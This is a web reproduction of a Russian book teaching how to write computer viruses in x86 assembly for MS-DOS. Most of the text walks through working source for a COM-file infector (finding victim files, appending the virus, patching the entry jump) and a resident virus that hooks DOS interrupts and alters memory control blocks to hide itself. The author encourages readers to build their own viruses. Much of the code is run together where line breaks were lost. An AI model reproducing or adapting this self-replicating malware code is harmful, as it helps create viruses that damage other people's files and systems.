Как написать компьютерный вирус 


Мы поможем в написании ваших работ!



ЗНАЕТЕ ЛИ ВЫ?

Как написать компьютерный вирус



Как написать компьютерный вирус

Игорь Коваль
Изд. Символ
ISBN 5-93286-006-5
2000

 

Коваль, Игорь. Как написать компьютерный вирус: Практикум программирования на ассемблере
Игорь Коваль. - СПб.: Символ, 2000. - 189 с.; 21 см. - (Совершенно секретно). Библиогр. в подстроч. примеч.
ISBN 5-93286-006-5, 4000 экз.

В предлагаемой вашему вниманию книге просто и доходчиво рассказывается о принципах работы компьютерных вирусов различных типов и подробно описывается процесс их создания. Книга содержит множество хорошо прокомментированных исходных текстов, различную справочную информацию. Прочитав эту книгу, вы не только в совершенстве освоите язык ассемблера и научитесь создавать собственные вирусные программы, но и повысите свой профессиональный уровень. Кроме того, устойчивое мнение о том, что "вирусы пишут только гении, мудрецы и "посвященные" покинет вас навсегда. Пособие рассчитано на пользователей, знакомых с языком ассемблера процессоров семейства х86 фирмы Intel, и может быть полезно профессиональным программистам, студентам технических ВУЗов и всем, кто интересуется программированием для персональных компьютеров на языках низкого уровня.


Игорь Коваль - инженер-электронщик, увлекающийся программированием. Изучая возможности ассемблера, он написал с чисто научными целями множество компьютерных вирусов, некоторые из которых представлены в этой книге. Является автором нескольких статей о компьютерных вирусах, опубликованных на сайте "Территория взлома" (www.hackzone.ru).


Содержание

  • Введение
  • Часть 1. COM - вирусы
    • Глава 1. Разработка нерезидентной вирусной программы
      • 1.1 Загрузка и выполнение COM - программы
      • 1.2 Как вирус может заразить COM - файл
      • 1.3 Работа вируса в зараженной программе
      • 1.4 Как начинается распространение вируса
      • 1.5 Начало работы
      • 1.6 Вирус получает управление
      • 1.7 Восстанавливаем зараженную программу
      • 1.8 Запоминаем содержимое DTA
      • 1.9 Ищем подходящий файл
      • 1.10 Читаем исходные три байта
      • 1.11 Выполняем необходимые расчеты
      • 1.12 Проверяем файл на зараженность
      • 1.13 Заражаем COM - программу
      • 1.14 Восстанавливаем DTA
      • 1.15 Передаем управление зараженной программе
      • 1.16 Область данных вирусной программы
      • 1.17 Завершаем запускающую программу
      • 1.18 Текст нерезидентного COM - вируса
      • 1.19 Комментарии
      • 1.20 Испытание вируса
    • Глава 2. Разработка резидентной вирусной программы
      • 2.1 Понятие резидентного (TSR) вируса
      • 2.2 Несколько слов о резидентных программах
      • 2.3 Алгоритм работы резидентного COM - вируса
      • 2.4 Заголовок вируса
      • 2.5 Вирус начинает работу
      • 2.6 Сохраняем регистры процессора
      • 2.7 Создаем секцию инициализации
      • 2.8 Запрашиваем блок памяти
      • 2.9 Делаем вирус " незаметным "
      • 2.10 Получаем вектора прерываний
      • 2.11 Копируем вирусный код в память
      • 2.12 Устанавливаем вектора прерываний на вирусные обработчики
      • 2.13 Пишем резидентную часть
      • 2.14 Заражаем COM - файл
      • 2.15 Восстанавливаем регистры
      • 2.16 Пишем обработчики прерываний
      • 2.17 Обработчик Int 13h
      • 2.18 Обработчик Int 21h
      • 2.19 Обработчик Int 24h
      • 2.20 Обработчик Int 2Fh
      • 2.21 Обработчик Int 28h
      • 2.22 Область данных вируса
      • 2.23 Процедура идентификации COMMAND.COM
      • 2.24 Завершаем программу
      • 2.25 Текст резидентного COM - вируса
      • 2.26 Комментарии
      • 2.27 Испытание вируса
  • Часть 2. EXE - вирусы
    • Глава 1. Разработка нерезидентного EXE - вируса
      • 1.1 Формат EXE - файла на диске
      • 1.2 Загрузка и выполнение EXE - программы
      • 1.3 Как вирус может заразить EXE - файл
      • 1.4 Работа вируса в зараженной программе
      • 1.5 Начало работы
      • 1.6 Вирус получает управление
      • 1.7 Ищем подходящий файл
      • 1.8 Читаем заголовок файла
      • 1.9 Производим необходимые вычисления
      • 1.10 Заражаем EXE - программу
      • 1.11 Восстанавливаем DTA
      • 1.12 Восстанавливаем точку входа
      • 1.13 Область данных вируса
      • 1.14 Используемые процедуры
      • 1.15 Работа завершена
      • 1.16 Полный текст нерезидентного EXE - вируса
      • 1.17 Несколько слов об испытании вируса
    • Глава 2. Разработка резидентного EXE - вируса
      • 2.1 Алгоритм работы резидентного EXE - вируса
      • 2.2 Защита от программ - антивирусов
      • 2.3 Как реализовать защиту от эвристического анализа
      • 2.4 Реализуем предложенный алгоритм
      • 2.5 Пишем промежуточный обработчик
      • 2.6 Защита от обнаружения вируса в файле
      • 2.7 Несколько слов о вредных действиях вирусной программы
      • 2.8 Полный текст резидентного EXE - вируса
  • Часть 3. Загрузочные вирусы
    • Глава 1. Разработка загрузочной вирусной программы
      • 1.1 Краткие сведения о начальной загрузке персонального компьютера
      • 1.2 Понятие о загрузочных вирусах
      • 1.3 Алгоритм работы загрузочного вируса
      • 1.4 Как начинается распространение вируса
      • 1.5 Начало работы
      • 1.6 Вирус получает управление
      • 1.7 Защита от антивирусных программ
      • 1.8 Перехватываем Int 13h
      • 1.9 Читаем исходную BOOT - запись
      • 1.10 Заражаем MBR винчестера
      • 1.11 Пишем обработчик прерывания Int 13h
      • 1.12 Используемые процедуры
      • 1.13 Область данных вируса
      • 1.14 Пишем секцию инсталляции
      • 1.15 Текст загрузочного вируса
      • 1.16 Комментарии
      • 1.17 Испытание вируса
    • Глава 2. Еще один BOOT-вирус (Глава 6 (3 часть/глава 2) была добавлена позднее)
      • 2.1 Краткие итоги предыдущей главы
      • 2.2 Объясняем полученные результаты
      • 2.3 Разрабатываем новый алгоритм активизации
      • 2.4 О перехвате Int 21h программой, загружаемой из Master Boot Record
      • 2.5 О применении вектора Int 16h
      • 2.6 Общий алгоритм работы вируса
      • 2.7 Полный текст созданного вируса
      • 2.8 Испытание вируса
      • 2.9 Вместо комментария
  • Заключение
  • Литература
  • Приложение 1. Краткий справочник по функциям MS DOS и BIOS
  • Приложение 2. Формат загрузочной записи для MS DOS различных версий
  • Приложение 3. Коды ошибок при выполнении функций MS DOS и BIOS

Введение

Компьютерные вирусы со времени своего появления распространились чрезвычайно широко. Сейчас уже трудно найти человека,который бы ни разу не слышал об этих " существах ". И вместе с тем подавляющее большинство пользователей почти ничего не знают о том, что это такое, и склонны приписывать вирусам различные фантастические возможности, а также сильно преувеличивать их опасность.Словом,эта тема окутывается завесой таинственности. Такое положение возникло, главным образом, из - за почти полного отсутствия специальной литературы по данному вопросу (причина этого вполне понятна). А в имеющейся литературе для широкого круга читателей иногда можно встретить ошибочные и неправдоподобные сведения. Например, в одной очень распространенной и читаемой книге сказано, что некоторые вирусы "выживают" в компьютере даже после выключения питания! Неизвестно,что имел ввиду автор,но эта фраза полностью абсурдна. Дело в том, что при выключении питания содержимое оперативной памяти теряется, в ПЗУ записать что - либо невозможно, а в CMOS - памяти свободного места для хранения вирусного кода никогда не хватит. Вирус может "выжить" в компьютере разве что на жестком диске, но этой способностью обладают все вирусные программы. Книга, которая предлагается вашему вниманию, написана с использованием собственных разработок, наблюдений и экспериментов автора. Изложение рассчитано на пользователей, знакомых с языком ассемблера микропроцессоров семейства 8086 фирмы INTEL. Автор рассказывает о принципах работы компьютерных вирусов и подробно описывает процесс создания нерезидентных, резидентных и загрузочных вирусов. Разработка программ ведется от простого к сложному. Предыдущие программы становятся основой для разработки последующих. Читатель найдет в книге большое количество хорошо прокомментированных исходных текстов. Каждая фаза создания вирусов подробно объясняется. В общем,читайте и совершенствуйтесь! Разобравшись с программами, приведенными в книге, вы сможете создавать собственные вирусы, а главное - повысите свой профессиональный уровень. Кроме того, устойчивое мнение, что "Вирусы пишут только гении,мудрецы и "посвященные" покинет вас навсегда.

УДАЧИ! 18.08.1998 Автор.

Часть 1. COM - вирусы

Начало работы

Для разработки вируса лучше всего использовать COM формат.Это сделает его отладку более простой и наглядной. Кроме того, структура COM - программы намного проще и понятнее, чем структура программы в формате EXE. Поэтому напишем стандартное начало COM программы:

prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h

Директива "assume cs:prg,ds:prg,es:prg,ss:prg" назначает все сегментные регистры одному сегменту с именем PRG, а директива "org 100h" нужна для резервирования места для PSP.

Вирус получает управление

После этого вступления начинается собственно исполняемая часть программы (метка START):

start: jmp vir;Передача управ-;ления вирусному;коду... org 110h

Команда "jmp vir" передает управление вирусному коду, а директива "org 110h" указывает компилятору размещать все коды после метки "vir",начиная с адреса 110h. Число 110h принято для удобства расчета смещений при разработке вируса. Чуть позже мы разберемся, зачем понадобилась команда "jmp vir", а пока продолжим:

vir: push ds;Сохраним DS...;Корректируем mov ax,ds;регистр DS... db 05h;Код команды add_to_ds: dw 0; " ADD AX,00h " mov ds,ax;AX -> DS...

Поскольку в зараженной программе область данных вируса будет сдвинута хотя бы на длину этой программы, необходимо выполнить коррекцию регистра DS. Коррекция осуществляется прибавлением к его содержимому длины программы в параграфах,округленной в большую сторону. Например, длина программы составляет 401 байт. Тогда она содержит 25 полных параграфов и еще 1 байт. Округленное число параграфов будет равно 26. Эта величина и прибавляется к регистру DS. При заражении вирус рассчитывает корректирующее число и записывает его в область "add_to_ds". Теперь всякий раз при запуске зараженной программы оно будет использоваться вирусом для исправления DS. В запускающей программе DS корректировать не нужно, и поэтому для нее "add_to_ds" равно нулю.

Запоминаем содержимое DTA

Data Transfer Arrea (DTA) является одной из служебных структур MS DOS. Эта область находится в PSP по смещению 80h, и активно используется последней при работе с файлами. Например,многие функции MS DOS обращаются к DTA для чтения или модификации ее содержимого. Поскольку DOS строит PSP для каждой вновь запускаемой программы, для каждой из них создается и своя DTA.

Так как наш вирус будет использовать при заражении и поиске файлов функции DOS,содержимое DTA зараженной программы будет испорчено, и она, скорее всего, не будет нормально работать.Поэтому содержимое DTA необходимо сохранить. Для этой цели выделим массив из 128 байт с именем "old_dta":

mov cx,80h;Размер DTA -;128 байт... mov bx,80h;Смещение к DTA lea si,old_dta;Адрес массива save_dta: mov al,byte ptr cs:[bx];Читаем из DTA;байт и перено- mov ds:[si],al;сим его в мас-;сив... inc bx;К новому байту inc si; loop save_dta;Цикл 128 раз

Работа фрагмента пояснений не требует...

Ищем подходящий файл

Теперь самое время заняться поиском файла для заражения. Для поиска файла - жертвы мы будем использовать пару функций DOS: 4Eh (поиск первого файла) и 4Fh (поиск следующего файла). При вызове 4Eh в регистр CX помещаются атрибуты искомого файла, а в DX - его имя и расширение. Установленная нами маска предполагает поиск COM-файла, с атрибутами "archive","system" и "hidden".Функция 4Fh используется уже после того, как функция 4Eh нашла первый файл, удовлетворяющий нашим требованиям. Вирус будет вызывать ее в том случае, если найденный файл ему не подходит (например, он слишком велик). Имя найденного файла описанные выше функции помещают в DTA по смещению 01eh. А теперь приведем программный фрагмент, выполняющий поиск файла:

find_first: mov ah,4eh;Поиск первого;файла... mov cx,00100110b;archive, system;hidden lea dx,maska;Маска для поис-;ка int 21h jnc r_3;Нашли! jmp restore_dta;Ошибка! find_next: mov ah,3eh;Закроем непод- int 21h;ходящий файл... jnc r_2 jmp restore_dta;Файл нельзя за-;крыть! r_2: mov ah,4fh;И найдем сле- int 21h;дующий... jnc r_3;Файл найден! jmp restore_dta;Ошибка! r_3: mov cx,12;Сотрем в буфере lea si,fn;"fn" имя пред- destroy_name:;ыдущего файла mov byte ptr [si],0; inc si; loop destroy_name;Цикл 12 раз... xor si,si;И запишем в бу- copy_name: mov al,byte ptr cs:[si+9eh];фер имя только cmp al,0;что найденного;файла... je open;В конце имени в mov byte ptr ds:fn[si],al;DTA всегда сто- inc si;ит ноль, его мы jmp copy_name;и хотим достичь

Имя файла в буфере "fn" необходимо стирать вот почему. Например, первым был найден файл COMMAND.COM, и пусть он не подошел вирусу.Тогда вирус попытается найти следующий файл. Пусть это будет WIN.COM. Его имя запишется в область " fn ", и она примет вид: WINMAND.COM. Такого файла на диске, скорее всего, нет; если же попробовать к нему обратиться, это вызовет ошибку, и вирус закончит работу. Чтобы этого не случалось, область " fn " после каждого файла очищается. При ошибках в выполнении системных функций управление передается на метку "restore_dta". Затем вирус восстанавливает DTA зараженной программы и осуществляет переход на ее начало.

1.10 Читаем исходные три байта

Итак,вирус нашел COM - программу, которую теперь следует заразить. Но сначала необходимо сохранить первые три байта этой программы (см. 1.3, п.4). Для этого файл нужно сначала открыть, а затем считать его первые три байта, что и реализуют приведенные ниже программные строки. Напомним, что имя файла хранится в строке "fn".

open: mov ax,3d02h;Открыть файл;для чтения и;записи... lea dx,fn;Имя файла... int 21h; jnc save_bytes jmp restore_dta;Файл не откры-;вается! save_bytes:;Считаем три;байта: mov bx,ax;Сохраним дес-;криптор в BX mov ah,3fh;Номер функции mov cx,3;Сколько байт? lea dx,old_bytes;Буфер для счи-;тываемых данных int 21h jnc found_size jmp close;Ошибка!

Приведенный фрагмент помещает прочитанную информацию в область "old_bytes". Остальное ясно из комментариев.

Заражаем COM - программу

Наконец, подходящий для заражения COM - файл найден. Он еще не заражен нашим вирусом и имеет приемлемый размер. Поэтому самое время заняться заражением. Этот процесс описан в 1.3 (см. п.3 и п.4). Здесь мы только его реализуем:

write_vir: mov ax,4200h;Установим ука- xor cx,cx;затель на конец mov dx,di;файла... int 21h jc close;При ошибке -;закроем файл mov ah,40h;Запишем в файл mov cx,vir_len;код вируса дли- lea dx,vir;ной vir_len int 21h jc close;При ошибке -;закроем файл write_bytes: mov ax,4200h;Установим ука- xor cx,cx;затель на нача- xor dx,dx;ло файла int 21h jc close;При ошибке -;закроем файл mov ah,40h;Запишем в файл mov cx,3;первые три бай- lea dx,new_bytes;та (команду int 21h;перехода)... close: mov ah,3eh;Закроем зара- int 21h;женный файл...

При записи первых трех байт в файл помещается команда перехода на код вируса. Все остальное можно понять из приведенных комментариев.

Восстанавливаем DTA

Для корректной работы зараженной программы восстановим ее DTA. Напомним,что вирус " прячет " ее в массиве "old_dta". Поэтому:

restore_dta: mov cx,80h;Размер DTA -;128 байт... mov bx,80h;Смещение к DTA lea si,old_dta;Адрес массива dta_fresh: mov al,ds:[si];Читаем из мас-;сива "old_dta" mov byte ptr cs:[bx],al;байт и перено-;сим его в DTA inc bx;К новому байту inc si; loop dta_fresh;Цикл 128 раз

Комментарии

Вирус, который мы разработали, отыскивает программы для заражения лишь в том каталоге, из которого был запущен зараженный файл. Понятно,что в этом случае большой заразностью он не обладает.Но во - первых, мы идем от простого к сложному, и следующие наши программы будут более эффективными. А во - вторых, эта разработка лишь преследовала цель показать основные приемы изготовления вирусных программ. Кроме того, чрезмерная сложность наверняка отпугнула бы читателя.

Испытание вируса

Для проверки в действии разработанной нами программы просто скопируйте ее в отдельный файл (конечно, только если у вас есть дискета с текстом книги). Далее скопируйте в каталог с вирусом несколько COM - файлов. Откомпилируйте исходный текст и запустите полученный COM - файл,содержащий в себе вирусный код.Проблем с компиляцией быть не должно, так как программа тщательно тестировалась. Понаблюдайте, как вирус заражает файлы. Попробуйте запустить зараженную программу под управлением отладчика и в автоматическом режиме. И, наконец, проверьте зараженную программу с помощью DOCTOR WEB.

Заголовок вируса

Для разработки вируса мы, как и раньше, будем использовать COM формат. Естественно,в резидентном вирусе будут использованы некоторые блоки, созданные нами в предыдущей главе. Поэтому на их работе мы останавливаться не будем, а вместо этого сделаем акцент на новых приемах, реализованных в программе.

Итак, начнем:

prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h start: jmp vir;Передача управ-;ления вирусному;коду... org 110h

Приведенные команды и директивы выполняют те же самые функции, что и аналогичные, использованные нами при создании нерезидентной вирусной программы.

Вирус начинает работу

Несколько забегая вперед, отметим, что наш вирус будет работать так:

  1. Обработчик прерывания Int 21h отслеживает смену оператором текущего каталога или диска. Если пользователь действительно сменил диск или каталог,то переменная TG_INFECT устанавливается в единицу.
  2. Обработчик прерывания Int 28h вызывается DOS всякий раз, когда можно, не боясь зависаний, обращаться к системным функциям, работающим с файлами. Поэтому естественно возложить на него задачу поиска и заражения файлов. Исходя из этого процедура обработки Int 28h проверяет значение TG_INFECT, и если оно равно единице, выполняет поиск и заражение файлов.

После перехода на метку " vir " начинается исполнение вирусной программы. Поэтому продолжим: (Собственно это и есть начало обработчика прерывания Int 28h)

vir: db 0ebh;90h - Для рези- db push_len;90h дентной; работы. pushf;Запишем флаги;в стек... cmp cs:tg_infect-110h,1;Активизиро-;ваться? je cs:vir_2;Да... call dword ptr cs:old_28h - 110h;Нет - вызовем;старый обработ-;чик INT 28h,;чтобы не топить;другие TSR... iret vir_2: popf;Переключаем;стек для TSR -;исполнения на mov cs:ss_save-110h,ss;себя... mov cs:sp_save-110h,sp mov cs:help_word - 110h,cs mov ss,cs:help_word - 110h mov sp,to_newstack + 136 mov cs:tg_infect - 110h,0 pushf;Вызываем старый db 9ah;обработчик old_28h dw 0;INT 28h... old_28h_2 dw 0

Обратите внимание на команду, записанную в машинном коде сразу за меткой "vir". Сейчас мы попробуем разобраться, зачем она потребовалась.

Как вы знаете, наш вирус должен быть резидентным и состоять из двух частей. При этом секция инициализации исполняется только в транзитном (нерезидентном) режиме, а резидентная часть - только в резидентном.

Команда

db 0ebh;90h - Для рези- db push_len;90h дентной; работы.

играет роль "переключателя" между транзитным и резидентным кодами. При заражении вирус записывает в файл команду перехода, которая при запуске зараженного файла передает управление на "push_len" байт вперед, где как раз и начинается секция инициализации. Если же попытаться выполнить эту команду в резидентном режиме, т. е. когда код вируса получил управление, находясь в памяти,это приведет к зависанию компьютера. Чтобы такого не происходило, секция инициализации при установке вирусного кода в память записывает сразу за меткой "vir" две команды "NOP", или код: 9090h.

Все приведенные далее команды относятся к резидентной части. После записи флагов в стек вирус проверяет состояние переменной " tg_infect ", и если она равна " 1 ", переходит к метке " vir_2 ". Если же "tg_infect" равна " 0 ",то вирус просто вызывает старый обработчик INT 28h и отдает управление прерванному процессу.Чуть позже мы рассмотрим, как формируется значение переменной "tg_infect". Поскольку приводимый обработчик активно работает со стеком,есть смысл предусмотреть в нем собственный стек. Поэтому сразу за меткой " vir_2 " запишем команды, переключающие стек на специальную область данных вируса "newstack":

;Переключаем;стек для TSR -;исполнения на mov cs:ss_save-110h,ss;себя... mov cs:sp_save-110h,sp mov cs:help_word - 110h,cs mov ss,cs:help_word - 110h mov sp,to_newstack + 136 mov cs:tg_infect - 110h,0

Последней запишем команду, сбрасывающую "tg_infect" в ноль. Этим мы защитим вирусный код от повторного вхождения. Теперь необходимо вызвать старый обработчик INT 28h, иначе наш вирус будет " топить " другие резидентные программы, которые перехватывают это же прерывание. Поэтому запишем:

pushf;Вызываем старый db 9ah;обработчик old_28h dw 0;INT 28h... old_28h_2 dw 0

Обработчик здесь вызывается как дальняя процедура. Команда "CALL" записана в виде машинного кода, а поля "old_28h" и "old_28h_2" заполняются секцией инициализации при установке вируса в память.

* Обратите внимание на команды переключения стека. Они необычны тем,что от адреса ячеек памяти "ss_save", "sp_save", "tg_infect" и "help_word" отнимается число 110h. Дело в том, что при компиляции исходного текста COM - программы адреса ячеек памяти вычисляются исходя из того, что DS указывает на начало ее PSP. Кроме того, в самом начале вируса мы записали директиву "org 110h". Но ведь к вышеуказанным ячейкам памяти вирус обращается в резидентном режиме, да еще и относительно CS. А CS указывает строго на начало обработчика, а не на начало PSP, как это было при компиляции! Поэтому относительный адрес ячеек необходимо уменьшить на 110h, что мы и сделали. Этот прием будет использован еще несколько раз при построении вирусных обработчиков прерываний, поэтому полезно будет понять, на чем он основан.

Запрашиваем блок памяти

Как вы уже знаете,резидентная программа должна находиться в памяти в течение сеанса работы компьютера. Поэтому секция инициализации должна "попросить" MS DOS выделить для загрузки резидентной части соответствующий блок памяти. Существует целый ряд методов, позволяющих получить в распоряжение TSR - программы область памяти достаточного размера. Например, в обычных резидентных программах эту функцию выполняет MS DOS в процессе резидентного завершения. При этом область памяти, выделенная TSR - программе при ее запуске, просто усекается до размера резидентной части и остается занятой после завершения программы. Таким образом, резидентная часть размещается в том месте, куда некогда была загружена вся программа.

К сожалению, использование такого метода в вирусе порождает целый ряд проблем. Например в этом случае необходимо записывать вирусный код в начало, а не в конец файла - жертвы, иначе при запуске зараженной программы она будет " садиться " в память целиком. Есть и другие трудности, преодолеть которые очень непросто.Не случайно такой прием при написании вирусов применяется редко.

Другой способ состоит в использовании для поиска подходящего блока памяти так называемых MCB - блоков (потом мы поговорим о них подробнее). При этом вирус должен путем сканирования цепочки блоков управления памятью (Memory Control Blocks) найти свободный блок подходящего размера, разделить его на две части, одна из которых точно соответствует или несколько превышает длину вируса, и записать во вновь созданный блок свой код.Основной недостаток данного метода состоит в том что MCB - блоки являются недокументированной структурой MS DOS, и при их использовании нужно быть готовым к тому,что программа будет работать на одной машине и не будет работать на другой. Это также относится к разным версиям операционной системы. Кроме того, очень сложно построить эффективный алгоритм реализации этого метода. Ведь вирусный код должен записываться не просто в подходящий по размерам блок, а в старшие адреса оперативной памяти, иначе загрузка больших программ будет просто невозможна.

Третий способ заключается в том, что код вируса копируется в заданную область памяти без коррекции MCB - блоков. Недостаток его состоит в следующем: "время жизни" вируса,реализующего такой алгоритм, чрезвычайно мало и зависит от интенсивности использования оперативной памяти. Причем "гибель" вирусной программы с почти стопроцентной вероятностью приводит к повисанию компьютера. Хотя метод отличается простотой реализации и имеет ряд других достоинств, приведенный выше недостаток делает его практическое использование маловозможным. Четвертый способ состоит в использовании функций, реализующих управление памятью.Используя его,можно построить эффективный и корректно работающий программный код, который будет хорошо работать на разных машинах и с любыми версиями операционной системы. При этом его реализация весьма проста и понятна. Поэтому мы применим именно этот способ:

free_mem: mov ah,4ah;Определим объем;доступной памя-;ти... mov bx,0ffffh;Заведомо невоз- int 21h;можное значение;(0ffffh)!;Ошибка будет;обязательно, и;проверять ее;наличие;не нужно!; _______________________________________________;| Закажем свободный блок памяти,чтобы можно было|;| записать в него резидентную часть вируса... |;|_______________________________________________| sub bx,vir_par + 2;Оставим вирусу;на 2 параграфа;больше, чем;он сам занимает mov ah,4ah;А остальная па- int 21h;мять будет jc fresh_bytes;занята... mov ah,48h;Попросим DOS;отдать свобод-;ный блок нам. mov bx,vir_par + 1;Запас в один int 21h;параграф... jc fresh_bytes;Ошибка!

В приведенном фрагменте использованы функции:

4Ah

изменение размера блока памяти, а также

48h

выделение блока памяти.

Об их использовании вы можете прочесть в ПРИЛОЖЕНИИ 1.

Работа вышеприведенных команд весьма проста и особых пояснений не требует. Стоит лишь заметить, что для загрузки вирусного кода выделяется область в самом "верху" свободной оперативной памяти, что является почти обязательным для подавляющего большинства вирусных программ.

2.9 Делаем вирус "незаметным"

К сожалению, выбранный нами способ поиска свободного блока памяти имеет один скрытый недостаток. Как вы, наверное, знаете, при завершении программы DOS освобождает блок памяти, который эта программа занимает. Кроме того, освобождаются также все блоки, которые были распределены программе по ее запросам. Предположим, вирус стартовал из зараженной программы, с помощью описанных ранее функций MS DOS нашел подходящий блок памяти и записал в него свой код, предварительно переписав на этот код те или иные прерывания. После этого он передает управление зараженной программе. Естественно, она когда-нибудь завершится и передаст управление DOS. Но ведь в этом случае блок, который занимает вирусный код, будет освобожден, и при первой необходимости этот код будет уничтожен,чтобы записать на его место другую информацию!В результате произойдет моментальное " повисание " компьютера.

Очевидно, этого можно избежать, если память, занимаемая вирусом, будет оставаться занятой в течение всего сеанса работы,и не будет освобождаться после завершения зараженной программы.

Как показал эксперимент, для этой цели достаточно в MCB,предшествующем выделенному для вирусного кода блоку, сделать определенные изменения. Но сначала мы немного расскажем о структуре Memory Control Blocks (MCB) и их использовании.

Для того, чтобы следить за использованием памяти, в MS DOS предусмотрена специальная структура - так называемый блок управления памятью,или MCB - блок. Такой блок помещается DOS непосредственно перед каждым вновь выделяемым блоком памяти, и система ведет специальный список MCB - блоков,просматривая его при выполнении тех или иных действий, связанных с распределением памяти.

MCB обязательно начинается на границе параграфа и всегда занимает целый параграф.Конечно,MS DOS должна знать о том, где именно расположен первый блок управления памятью.На этот блок указывает внутренняя переменная DOS, значение и местоположение которой известно только операционной системе.

Рассмотрим теперь структуру MCB - блока. Итак:

Байт 0 содержит код 5Ah,если данный блок является последним в цепочке MCB, и код 4Dh - в противном случае.
Байты 1,2 Содержат PID (Program IDentificator) программы, для которой DOS выделяла блок, или ноль, если блок свободен.
Байты 3, 4 Содержат размер блока в параграфах. Следующий блок расположен в памяти по адресу: MCB_NEW = MCB_OLD + lenght + 1. Здесь MCB_NEW - сегментный адрес, по которому располагается следующий MCB, MCB_OLD - сегментный адрес рассматриваемого MCB,а lenght - содержимое байтов 3, 4 этого блока.

Остальные одиннадцать байт блока не используются и могут содержать любые данные. Но стоит заметить, что повреждение байтов 1, 3 или 4 приводит к выдаче сообщения:

Memory Allocation Error System Halted

и немедленному "зависанию" компьютера.

А теперь вернемся к нашей программе.

Как показал эксперимент, достаточно подменить в MCB, предшествующем вирусному коду, байты 1 и 2. Причем лучше всего записать вместо этих байт PID какой - нибудь из уже загруженных в память программ. Этим достигается еще и незаметность вируса в памяти.Советую вам попробовать загрузить несколько TSR - программ и в MCB одной из них подменить байты 1 и 2 на PID какой - нибудь другой программы. После этого нажмите в Volkov Commander клавиши ALT и F5, и вы увидите очень интересный эффект.

Но дело в том, что для использования вышеприведенного метода необходимо еще найти программу, на PID которой наш вирус будет " паразитировать ". Сделать это не так просто, как может показаться на первый взгляд. И поэтому для облегчения нашей работы вместо PID загруженной в память программы мы запишем в MCB вируса сегментный адрес области данных DOS, а именно: 0070h:

; _______________________________________________;| Теперь свободный блок памяти найден |;| (сегментный адрес в AX), и |;| нужно записать в него код вируса... |;|_______________________________________________| xor di,di;Делаем вирус mov bx,ax;"невидимым" в dec bx;памяти... mov word ptr cs:[2],bx mov es,bx mov bx,0070h mov es:[di+1],bx

Предыдущий фрагмент вернул нам сегментный адрес выделенного для вируса блока памяти в регистре AX. Приведенные программные строки очень просты, и объяснять их работу не нужно. Следует только сказать, что вирус фактически отнимает у DOS несколько килобайтов памяти, поэтому необходимо скорректировать PSP программы - носителя вируса. А именно уменьшить верхнюю границу блока памяти, выделенного программе, на длину вирусного кода. Интересующая нас величина находится по смещению 02h от начала PSP.

Получаем вектора прерываний

Итак, мы нашли блок памяти, в который часть инициализации будет копировать вирусный код. Но прежде чем инсталлировать вирус в память, необходимо узнать адреса системных обработчиков прерываний. Ведь вирус будет вызывать эти обработчики перед (или после) выполнением собственных действий по обработке того или иного прерывания. Если исходные обработчики не будут получать управление, вычислительная система придет в аварийное состояние.

Поэтому:

;_________________________________________________ mov es,di;Получаем векто-;ра прерываний cli mov di,084h;Int 21h... mov bx,es:[di] mov old_21h,bx mov bx,es:[di+2] mov old_21h_2,bx mov di,0bch;Int 2fh... mov bx,es:[di] mov old_2fh,bx mov bx,es:[di+2] mov old_2fh_2,bx mov di,04ch;Int 13h... mov bx,es:[di] mov old_13h,bx mov bx,es:[di+2] mov old_13h_2,bx mov di,0a0h;Int 28h... mov bx,es:[di] mov old_28h,bx mov bx,es:[di+2] mov old_28h_2,bx sti

Как видим, для определения адресов обработчиков вирус обращается непосредственно к таблице векторов прерываний.Секция инициализации будет перехватывать прерывания: Int 21h, Int 13h, Int 28h и Int 2fh. Несколько позже мы разберемся, почему потребовалось перехватить именно их и приведем тексты вирусных обработчиков этих прерываний.

Пишем резидентную часть

Начало резидентной части мы создали в первых пунктах главы (см п. 2.5). А теперь просто продолжим, и допишем до конца "заразную" часть вирусной программы:

infect: push cs;DS = CS... pop ds mov ax,ds;TSR - коррекция sub ax,11h;DS... mov ds,ax cmp tg_13h,0;INT 13h;выполняется? je cs:all_right;Нет... jmp cs:exit_zarasa;Да - на выход

Сразу за меткой "infect" мы записали команды которые корректируют содержимое DS при работе в резидентном режиме. Если этого не сделать, то относительный адрес каждой ячейки памяти придется уменьшать на 110h (см п. 2.5).Далее вирус проверяет значение переменной "tg_13h". Дело в том, что резидентный вирус обязательно должен заражать файлы, находясь в памяти, и поэтому без обращения к диску в резидентном режиме нам не обойтись. Такое обращение, естественно, должно происходить только в те моменты,когда никакие другие программы не работают с диском. Если это условие не соблюдается, непременно возникнет программный конфликт, что приведет к неприятным последствиям. Особенно это относится к тем случаям,когда на машине установлен какой-нибудь кэш (например, SMARTDRIVE или HYPERDISK). В этом случае может случиться так, что вирус и кэш попробуют обратиться к диску одновременно, а это недопустимо!

Решить проблему помогает введение переменной "tg_13h". Она принимает значение " 1 ", когда к диску выполняется обращение, или значение " 0 ", если в данный момент обращения к диску нет. Для инициализации переменной используется специальный "фильтр" прерывания Int 13h, который будет описан ниже.

Итак, если " tg_13h " равна " 1 ",вирус возвращает управление прерванной программе,в противном случае работа вирусного кода продолжается.

Заражаем COM - файл

В случае, если прерывание Int 13h не выполняется, можно заняться поиском подходящего COM - файла и его заражением. Этот процесс практически не отличается от действий нерезидентного вируса, и поэтому мы просто используем разработанный ранее блок, не останавливаясь подробно на его работе:

